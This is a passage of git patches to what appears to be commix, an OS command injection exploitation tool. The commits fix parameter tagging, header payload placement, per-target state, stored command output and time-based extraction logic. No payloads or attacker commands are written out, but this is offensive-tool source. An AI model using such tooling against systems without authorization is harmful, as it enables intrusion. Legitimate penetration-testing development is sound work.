":" + " (.*)", line): + auth_provided = "".join([str(i) for i in re.findall(r"(?i)" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split() if auth_provided: target["auth_type"] = auth_provided[0].lower() if target["auth_type"].lower() == settings.AUTH_TYPE.BASIC: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index cece55e732..cfe5419a21 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -215,10 +215,14 @@ def do_GET_check(url, http_request_method): if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue - # Replace the value of parameter with INJECT_HERE tag - if len(value) == 0: - if not menu.options.skip_empty: - all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) + # An empty value is backfilled with RANDOM_TAG upstream, so measure it with that stripped. + if len(value.replace(settings.RANDOM_TAG, "")) == 0: + if menu.options.skip_empty: + # Mirror the anti-CSRF skip: drop the previous tag and add no untagged candidate. + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + continue + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: all_params[param] = apply_tag_to_value(''.join(all_params[param]), value) if param > 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index e8fbe1d1b4..26835773d5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "276" +REVISION = "277" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 425aaeb3173945dd0ebcc7b39ad0d3414f7497e1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:25:15 +0200 Subject: [PATCH 0950/1023] Fixed several issues regarding heuristic tests of custom HTTP headers, parameters holding token-like values, and evaluated language identification --- src/core/controller/checks.py | 12 +++++++----- src/core/controller/controller.py | 17 +++++++++++++++-- src/utils/settings.py | 2 +- 3 files changed, 23 insertions(+), 8 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 1a63e9baed..52c5fa8651 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1175,13 +1175,15 @@ def offer_anticsrf_token(parameter): # Whether a parameter looks like an anti-CSRF token, which testing would only invalidate. def ignore_anticsrf_parameter(parameter): - if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): + # Split where the name ends rather than at every '=' it holds: a value carrying one of its + # own - a token written in base64, most of them - is still that parameter's value, and a + # parameter skipped without a word said is one nobody knows went untested. + name, separator, value = parameter.partition("=") + # The name is what names a token, the way 'offer_anticsrf_token' reads it: a value that merely + # holds the word is ordinary input, and testing it is the whole point of being given it. + if any(name.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): if not explicitly_testable(parameter): offer_anticsrf_token(parameter) - # Split where the name ends rather than at every '=' it holds: a value carrying one of its - # own - a token written in base64, most of them - is still that parameter's value, and a - # parameter skipped without a word said is one nobody knows went untested. - name, separator, value = parameter.partition("=") if separator: info_msg = "Ignoring the parameter '" + name info_msg += "' that appears to hold anti-CSRF token '" + value + "'." diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 1583d2b313..faf6b9be1c 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -207,8 +207,11 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites # while its injection flag is set, so that this is the only value it is given. if check_parameter_in_http_header(check_parameter, place): settings.CUSTOM_HEADER_NAME = check_parameter.title() - if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC)) + if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: + # The payload goes where the marker is, so whatever static text the header carries stays with + # it - searched for the value as it stood, the marker having just been taken out of it, the + # replacement matched nothing and the header went out carrying no payload at all. + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) else: request.add_header(settings.CUSTOM_HEADER_NAME, payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) @@ -432,6 +435,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p _ for _ in languages if _ != settings.IDENTIFIED_EVAL_LANGUAGE) else: languages = (settings.EVAL_GRAMMAR.NAME,) + # Which language's own probe answered. The sweep goes on past a complaint to look for a + # version, so the grammar left in force at the end is the last language tried rather than + # the one that answered, and the switch below would name that one instead. + answered_language = None for language in languages: settings.set_eval_grammar(language) if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0: @@ -445,6 +452,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p if match: detail = "identified " + settings.EVAL_GRAMMAR.LABEL + " version: '" + match.group(1) + "'" settings.IDENTIFIED_EVAL_PROBE = True + answered_language = language break # A plain shell error (the probe reached a shell, not an interpreter) can still contain # one of these words by coincidence - 'syntax error' reads the same complaint from @@ -459,6 +467,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p # whatever the probe was. What the probe caused is what is not there to begin with. if warning in html_data and warning not in baseline: settings.IDENTIFIED_WARNINGS = True + answered_language = language detail = "identified evaluated language: '" + settings.EVAL_GRAMMAR.LABEL + "'" break if settings.IDENTIFIED_EVAL_PROBE: @@ -466,6 +475,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, p # Said once, whichever of the two the sweep came back with. if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_EVAL_PROBE: + # Pointed back at the language that answered, so the switch offered below and whatever runs + # next both speak the one the heuristic found. + if answered_language: + settings.set_eval_grammar(answered_language) announce_heuristic_finding(detail) # Code injection is tested only where it was asked for, so what the heuristic saw is # named, the switch that would act on it is named too, and the run carries on testing diff --git a/src/utils/settings.py b/src/utils/settings.py index 26835773d5..f05c6624ee 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "277" +REVISION = "278" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7ce07fee6ba4fa7b16987a12ec238dde2ebac976 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:26:03 +0200 Subject: [PATCH 0951/1023] Fixed several issues regarding per-target state that was carried over between targets, affecting retries, connection checks, injection level and skipped hosts --- src/core/main.py | 37 ++++++++++++++++++++++++------------- src/utils/settings.py | 2 +- 2 files changed, 25 insertions(+), 14 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 1511544ddb..1edbcc15f4 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -163,7 +163,9 @@ def examine_request(request, url): raise SystemExit(settings.EXIT_FAILURE) except Exception as err_msg: - requests.request_failed(err_msg) + # The verdict is the answer: a caller that reads 'False' is told the request was handled and + # failed, where the dropped one left it reading no response at all as a response. + return requests.request_failed(err_msg) """ Check internet connection before assessing the target. @@ -187,6 +189,10 @@ def check_internet(url): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) error_msg = "No internet connection detected." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + finally: + # Only the probe above is not the target's own first request, so the flag ends with it - left + # set, the target's init test reads as the probe's and is never marked as having run. + settings.CHECK_INTERNET = False """ The init (URL) request. @@ -307,6 +313,11 @@ def url_response(url, http_request_method): settings.INIT_CONNECTION_TIME = None settings.INIT_CONNECTION_FETCH_TIME = None settings.INIT_CONNECTION_URL = None + # Before the connection below rather than after it: the retry budget this target is given is read + # against this count, and the last target's traffic would have spent all of it before a request. + if settings.MULTI_TARGETS or settings.CRAWLING: + # initiate total of requests + settings.TOTAL_OF_REQUESTS = 0 conn_request, conn_url = request, url do_waf = not menu.options.skip_waf @@ -333,10 +344,6 @@ def url_response(url, http_request_method): settings.INIT_CONNECTION_TIME = _conn_end - _conn_start settings.INIT_CONNECTION_FETCH_TIME = _conn_end settings.INIT_CONNECTION_URL = conn_url - if settings.MULTI_TARGETS or settings.CRAWLING: - # initiate total of requests - settings.TOTAL_OF_REQUESTS = 0 - return response, url """ @@ -424,6 +431,11 @@ def init_injection(url): menu.options.auth_type = None settings.REQUIRED_AUTHENTICATION = False + # A level a stored session named belongs to the target it was read for: it outlives the target, + # so left set it settles the next one before that target's own session is ever consulted. + if not menu.options.level: + settings.USER_APPLIED_LEVEL = False + """ Validate and normalize a target line, returning the cleaned URL or None. """ @@ -1081,14 +1093,13 @@ def _dedupe_lazy(iterable): for form_url, form_data in clean_output_forms: if check_for_injected_url(form_url): prompt_skip_vulnerable_host(form_url) - - if settings.SKIP_VULNERABLE_HOST: - form_num += 1 - info_msg = "Skipping form URL '" + form_url + "' (" + str(form_num) + "/" + str(len(clean_output_forms)) + ")." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - continue - - if not check_for_injected_url(form_url): + if settings.SKIP_VULNERABLE_HOST: + form_num += 1 + info_msg = "Skipping form URL '" + form_url + "' (" + str(form_num) + "/" + str(len(clean_output_forms)) + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + continue + else: + # The answer was given for the host it was asked about, so it says nothing about this one. settings.SKIP_VULNERABLE_HOST = None form_num += 1 perform_check = True diff --git a/src/utils/settings.py b/src/utils/settings.py index f05c6624ee..f52233ed00 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "278" +REVISION = "279" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 12f975b78497ac678012e93616e9bbdb08f7ded0 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 31 Oct 2026 08:26:42 +0200 Subject: [PATCH 0952/1023] Fixed several issues regarding the integrity of retrieved output, affecting response content, stored command results and interrupted extractions --- src/core/controller/checks.py | 14 +++++++------- src/core/controller/injector.py | 16 ++++++++++++---- src/utils/session_handler.py | 14 +++++++++----- src/utils/settings.py | 2 +- 4 files changed, 29 insertions(+), 17 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 52c5fa8651..82f1893f03 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1851,13 +1851,13 @@ def escape_unquoted_dollars(payload): Removing the first and/or last line of the html content (in case there are/is empty). """ def remove_empty_lines(content): - try: - if content[0] == settings.END_LINE.LF: - content = content[1:content.rfind(settings.END_LINE.LF)] - if content[-1] == settings.END_LINE.LF: - content = content[:content.rfind(settings.END_LINE.LF)] - except IndexError: - pass + # The empty lines themselves, and nothing else: the last line is not the text behind the last + # newline, which searching for one carried off with it - a body holding a single newline was + # emptied outright, and one not ending in a newline lost its closing line. + if content.startswith(settings.END_LINE.LF): + content = content[1:] + if content.endswith(settings.END_LINE.LF): + content = content[:-1] return content """ diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 446ffb4c37..d71be238db 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -607,6 +607,9 @@ def _validate_boundary(candidate): than guessed at a bound: the first characters of a length said outright, instead of a shorter output that reads like a whole one. """ + # The length as measured, before the read limit below is applied to it - what a partial result is + # recorded against, so a later run given a higher '--maxlen' is not held to this run's limit. + full_output_length = output_length if found_chars is True and output_length is not None and int(output_length) > int(maxlen): settings.INCOMPLETE_OUTPUT = True warn_msg = "The output is " + str(int(output_length)) + " characters long, and this run reads " @@ -695,13 +698,16 @@ def _load_partial_progress(): body = _stored_partial[len(settings.PARTIAL_VALUE_MARKER):] try: stored_length, pairs = body.split(":", 1) - if int(stored_length) != output_length: + # Against the length as measured rather than as read: a run reading fewer of them is reading + # the same output, and the positions past this run's limit are not among the ones it reads. + if int(stored_length) != full_output_length: return for pair in pairs.split(","): if not pair: continue pos_str, ord_str = pair.split("=") - results_by_position[int(pos_str)] = int(ord_str) + if int(pos_str) <= output_length: + results_by_position[int(pos_str)] = int(ord_str) except ValueError: return if results_by_position: @@ -716,11 +722,13 @@ def _save_progress(): return resolved = dict((pos, ordinal) for pos, ordinal in results_by_position.items() if ordinal is not None and ordinal != UNRESOLVED_POSITION) - if len(resolved) >= len(positions): + if len(resolved) >= len(positions) and not settings.INCOMPLETE_OUTPUT: value = "".join(chr(resolved[pos]) for pos in positions) else: + # Recorded against the measured length: every position this run was willing to read can be + # resolved and the output still be the shorter part of a longer one. pairs = ",".join(str(pos) + "=" + str(ordinal) for pos, ordinal in sorted(resolved.items())) - value = settings.PARTIAL_VALUE_MARKER + str(output_length) + ":" + pairs + value = settings.PARTIAL_VALUE_MARKER + str(full_output_length) + ":" + pairs session_handler.store_cmd(url, cmd, value, vuln_parameter) # Resolve one character of the output, by halving the range its value lies in. diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index af01e84d07..bcfed67ddb 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -761,11 +761,14 @@ def store_cmd(url, cmd, shell, vuln_parameter): with _session_connection() as conn: table = table_name(url) + "_ir" conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " - "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") - conn.execute("INSERT INTO \"" + table + "\" (cmd, output, vuln_parameter) VALUES (?, ?, ?)", + "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR, url VARCHAR DEFAULT '');") + # The address the output came back from, which the table was keyed without - named for the + # host alone, one page's answers were handed back as another's. + _ensure_columns(conn, table, (("url", "VARCHAR DEFAULT ''"),)) + conn.execute("INSERT INTO \"" + table + "\" (cmd, output, vuln_parameter, url) VALUES (?, ?, ?, ?)", (base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode(), base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode(), - vuln_parameter)) + vuln_parameter, split_url(url))) conn.commit() except (sqlite3.OperationalError, sqlite3.DatabaseError) as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -783,8 +786,9 @@ def export_stored_cmd(url, cmd, vuln_parameter): with _session_connection() as conn: table = table_name(url) + "_ir" encoded_cmd = base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() - query = "SELECT output FROM \"" + table + "\" WHERE cmd = ? AND vuln_parameter = ?;" - cursor = conn.execute(query, (encoded_cmd, vuln_parameter)).fetchall() + # Matched on the address too: one host's pages are not one another's answers. + query = "SELECT output FROM \"" + table + "\" WHERE cmd = ? AND vuln_parameter = ? AND url = ?;" + cursor = conn.execute(query, (encoded_cmd, vuln_parameter, split_url(url))).fetchall() for session in cursor: output = base64.b64decode(session[0]) try: diff --git a/src/utils/settings.py b/src/utils/settings.py index f52233ed00..8fb09c3bad 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "279" +REVISION = "280" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b3dc412e3e3ec8e829211fa760137850c08d1ae7 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 2 Nov 2026 08:16:49 +0200 Subject: [PATCH 0953/1023] Fixed several issues regarding interrupted and aborted runs, affecting the output length check, the temporary directory prompt and the `--answers` option --- src/core/controller/checks.py | 4 +++- src/core/controller/injector.py | 5 +++++ src/utils/common.py | 28 +++++++++++++--------------- src/utils/settings.py | 2 +- 4 files changed, 22 insertions(+), 17 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 82f1893f03..71bdfea70a 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -7085,7 +7085,9 @@ def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_ break elif tmp_upload in settings.CHOICE_QUIT: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise + # Asked for from inside the handling of a failed request, a bare 're-raise' handed that + # request's own error back up instead of quitting, which is not what was answered. + raise SystemExit() else: common.invalid_option(tmp_upload) pass diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index d71be238db..556f6b4932 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -332,12 +332,17 @@ def _probe_time(candidate): return exec_time impossible = int(maxlen) * 2 + 100 + cannot_hold = must_hold = None for _ in range(settings.FALSE_POSITIVE_RETRIES): try: cannot_hold = _probe_time(impossible) must_hold = _probe_time(int(minlen)) except KeyboardInterrupt: + # Asked again from the top: a round that was interrupted has nothing of its own to compare, + # and what the round before it timed says nothing about this one. checks.handle_exploitation_interrupt(filename, url) + cannot_hold = must_hold = None + continue if cannot_hold is None or must_hold is None: return True checks.record_probe_response_time(cannot_hold) diff --git a/src/utils/common.py b/src/utils/common.py index 2ffb26c5c5..83e09918d5 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -109,21 +109,19 @@ def is_empty(): # '>' - marked the same way every one of them now is, so where to actually type is never # in doubt. message = message.rstrip() + " > " - if settings.ANSWERS: - if not any(_ in settings.ANSWERS for _ in ",="): - return is_empty() - else: - for item in settings.ANSWERS.split(','): - # Split once: an answer is free to hold "=" of its own, a URL with a query string most - # of all, and splitting on every one of them handed back the answer cut at the first. - question = item.split('=', 1)[0].strip() - answer = item.split('=', 1)[1] if '=' in item else None - if answer and question.lower() in message.lower(): - value = answer - settings.print_data_to_stdout(settings.print_message(message + str(value))) - return value - elif answer is None and value: - return is_empty() + # Nothing in there names a question, so a run given that is answered the way a run given none + # is - read as a prompt of its own, it left '--batch' unconsulted and every question waiting on + # somebody to type, which under automation is a run that ends on the first one. + if settings.ANSWERS and any(_ in settings.ANSWERS for _ in ",="): + for item in settings.ANSWERS.split(','): + # Split once: an answer is free to hold "=" of its own, a URL with a query string most + # of all, and splitting on every one of them handed back the answer cut at the first. + question = item.split('=', 1)[0].strip() + answer = item.split('=', 1)[1] if '=' in item else None + if answer and question.lower() in message.lower(): + value = answer + settings.print_data_to_stdout(settings.print_message(message + str(value))) + return value if value: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Used the given answer." diff --git a/src/utils/settings.py b/src/utils/settings.py index 8fb09c3bad..7cf9c1fe64 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "280" +REVISION = "281" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 24b1a61554696444f1988f5608ba38f7c1d18608 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 2 Nov 2026 08:25:34 +0200 Subject: [PATCH 0954/1023] Fixed several issues regarding time delay handling and boundary selection, affecting delay adjustment, the data corruption warning and the combinations being tested --- src/core/controller/checks.py | 10 ++++++++++ src/core/controller/handler.py | 25 +++++++++++++------------ src/core/controller/injector.py | 13 +++++++++++-- src/utils/settings.py | 2 +- 4 files changed, 35 insertions(+), 15 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 71bdfea70a..e618390e07 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -705,6 +705,16 @@ def sink_boundaries(): return settings.EVAL_PREFIXES, settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS return settings.PREFIXES, settings.SUFFIXES, settings.SEPARATORS +""" +What the grammar in hand calls a separator, which is not what this target can chain on - the latter +is what 'chainable_separators()' narrows the list to, and a suffix is dead against a payload that +closed itself whether or not this target happens to chain on it. +""" +def grammar_separators(): + if menu.options.eval_sink: + return settings.EVAL_SEPARATORS + return settings.SEPARATORS + """ Whether a technique is one this run is testing. Two separate choices sit behind it: which sink is being tested, chosen with '--eval', and by which technique, chosen with '--technique'. A technique diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 19f6082798..49891cdc6b 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -559,7 +559,7 @@ def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, tim settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=settings.SEPARATORS)) + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators())) total = len(combinations) * len(transports) i = 0 @@ -782,7 +782,7 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): settings.EXPLOITATION_PHASE = False for printed in ((False,) if menu.options.eval_sink else (False, True)): settings.BOOLEAN_PRINTED_STATE = printed - for whitespace, stored_prefix, stored_suffix, stored_separator in _boundary_combinations(whitespaces, [prefix], [suffix], [separator]): + for whitespace, stored_prefix, stored_suffix, stored_separator in _boundary_combinations(whitespaces, [prefix], [suffix], [separator], grammar_separators=checks.grammar_separators()): confirmed = _answers_both_ways(whitespace, stored_prefix, stored_suffix, stored_separator, TAG) if confirmed: _, vuln_parameter, sent_prefix, sent_suffix = confirmed @@ -814,7 +814,7 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): shapes = (False,) if menu.options.eval_sink else (False, True) for printed in shapes: settings.BOOLEAN_PRINTED_STATE = printed - for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators): + for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators()): settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False bare_prefix, bare_suffix = prefix, suffix @@ -1011,7 +1011,6 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim _confirm_threaded_time_retrieval(url, http_request_method, resuming_stored) counter = 1 - num_of_chars = 1 no_result = True possibly_vulnerable = False false_positive_warning = False @@ -1049,7 +1048,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) - combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=settings.SEPARATORS)) + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=checks.grammar_separators())) i = 0 total = len(combinations) for whitespace, prefix, suffix, separator in combinations: @@ -1089,7 +1088,9 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim pass if not resumed: - num_of_chars = num_of_chars + 1 + # Counted from the one that was set aside for it: counting from a value of its own, the first + # combination was announced as the second, and the last closed the sweep one short of its end. + i = i + 1 # Retry the same separator once with a fresh TAG before moving to the next one. for _false_positive_retry in range(settings.FALSE_POSITIVE_RETRIES): # Check for bad combination of prefix and separator @@ -1097,7 +1098,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) # Whether anything in this pass answered late, which is what a further pass could re-judge. answered_late = False # The output file for file-based injection technique. @@ -1232,7 +1233,7 @@ def _control_answers_on_time(): if false_positive_warning: timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - checks.injection_process(injection_type, technique, i=num_of_chars, total=total) + checks.injection_process(injection_type, technique, i=i, total=total) # Check if false positive fixation is True. if false_positive_fixation: @@ -1284,12 +1285,12 @@ def _control_answers_on_time(): break # False positive else: - checks.injection_process(injection_type, technique, i=num_of_chars, total=total) + checks.injection_process(injection_type, technique, i=i, total=total) continue else: # Feed the baseline model even during detection, not just later phases. checks.record_probe_response_time(exec_time) - checks.injection_process(injection_type, technique, i=num_of_chars, total=total) + checks.injection_process(injection_type, technique, i=i, total=total) continue except KeyboardInterrupt: @@ -1310,7 +1311,7 @@ def _control_answers_on_time(): raise except Exception: - if num_of_chars >= total: + if i >= total: if no_result is True: checks.injection_process(injection_type, technique, done=True) else: @@ -1428,7 +1429,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Only the classic technique leaves its pipe payloads open, to read the result off the response. - combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED, grammar_separators=settings.SEPARATORS)) + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED, grammar_separators=checks.grammar_separators())) i = 0 total = len(combinations) """ diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 556f6b4932..dbc0f99312 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -260,7 +260,10 @@ def _adjust_time_delay(exec_time, lower_limit): # were not held back, while most of the probes around them are - and a request that waits its # turn behind those comes back as late as one that was delayed on purpose. Lowered on the # strength of the quick answers, the delay stops standing out from the slow ones at all. - if settings.THREADS > 1: + # Read as the requests are actually being sent, not as '--threads' asked for them: a run that + # has already dropped to a single thread sends them one at a time, and left reading the option + # the delay it raised to clear the baseline was never lowered again. + if retrieval_concurrency() > 1: return if settings.ADJUST_TIME_DELAY_DISABLED or settings.ADJUST_TIME_DELAY_CHOICE is False: return @@ -578,6 +581,9 @@ def _validate_boundary(candidate): output_length = _bisect_length() if output_length is None: length_suspect = True + # Put the delay back, the way exhausting the retries above does: it was raised for a + # search that has now given up, and left raised every later command pays it. + timesec = settings.CALIBRATED_TIMESEC = original_timesec break _note_validation_result(revalidations > 0) @@ -1142,7 +1148,10 @@ def _validate(candidate, local_timesec): output.append(chr(ascii_char)) boundary_char = chr(max(settings.CHAR_POOL_MULTI)) - if output.count(boundary_char) >= 1 or conn_error_positions or lagging_detected: + # One of them is a character the output is entitled to - a backup name, a home path. What this + # looks for is an oracle agreeing to everything, which resolves most of the positions to it, and + # resolving every one of them the control above already refuses outright. + if output.count(boundary_char) > max(1, len(output) // 2) or conn_error_positions or lagging_detected: if threaded: warn_msg = "Concurrent (threaded) requests overloading the target may have corrupted the extracted data. Consider re-running with '--threads=1' to confirm it." else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 7cf9c1fe64..7cc184de0b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "281" +REVISION = "282" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 40d8dda3514699bf59914016ae30ada5b7498a49 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 2 Nov 2026 08:26:18 +0200 Subject: [PATCH 0955/1023] Fixed several issues regarding target URLs provided without a scheme, command escaping, output length limits and conditions that never applied --- src/core/controller/checks.py | 63 ++++++------------- src/core/controller/controller.py | 14 +++-- src/core/controller/injector.py | 17 ++--- src/core/requests/headers.py | 3 +- src/core/techniques/time_based/tb_payloads.py | 4 +- src/utils/api.py | 9 +-- src/utils/settings.py | 26 ++++++-- 7 files changed, 64 insertions(+), 72 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index e618390e07..0780393de2 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1836,8 +1836,8 @@ def assessment_phase(): def escaped_cmd(cmd): if "\\\"" in cmd : cmd = cmd.replace("\\\"","\"") - if "\'" in cmd : - cmd = cmd.replace("\'","'") + if r"\'" in cmd : + cmd = cmd.replace(r"\'","'") if r"\$" in cmd : cmd = cmd.replace(r"\$","$") return cmd @@ -2200,7 +2200,7 @@ def ps_incompatible_os(): Check if PowerShell is enabled. """ def ps_check(): - if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: + if settings.PS_ENABLED is None and (menu.options.is_admin or menu.options.users or menu.options.passwords): if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: @@ -2318,12 +2318,17 @@ def check_http_s(url): if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: + # A target given without a scheme is given one rather than refused for not carrying it, which + # is what asking for the scheme first and prepending it inside that answer amounted to: ':443' + # asks for the secure one, anything else for plain. + if not re.search(r"^(http|ws)s?://", url, re.I): + if re.search(r":443\b", url): + url = "https://" + url + else: + url = "http://" + url + # Read again, or the scheme below is taken off the URL as it stood before one was added. + url_split = check_url(url) if re.search(r'^(?:http)s?://', url, re.I): - if not re.search(r"^(http|ws)s?://", url, re.I): - if re.search(r":443\b", url): - url = "https://" + url - else: - url = "http://" + url settings.SCHEME = (url_split.scheme.strip().lower() or "http") if not menu.options.force_ssl else "https" else: err_msg = "Invalid target URL provided. " @@ -3065,10 +3070,12 @@ def 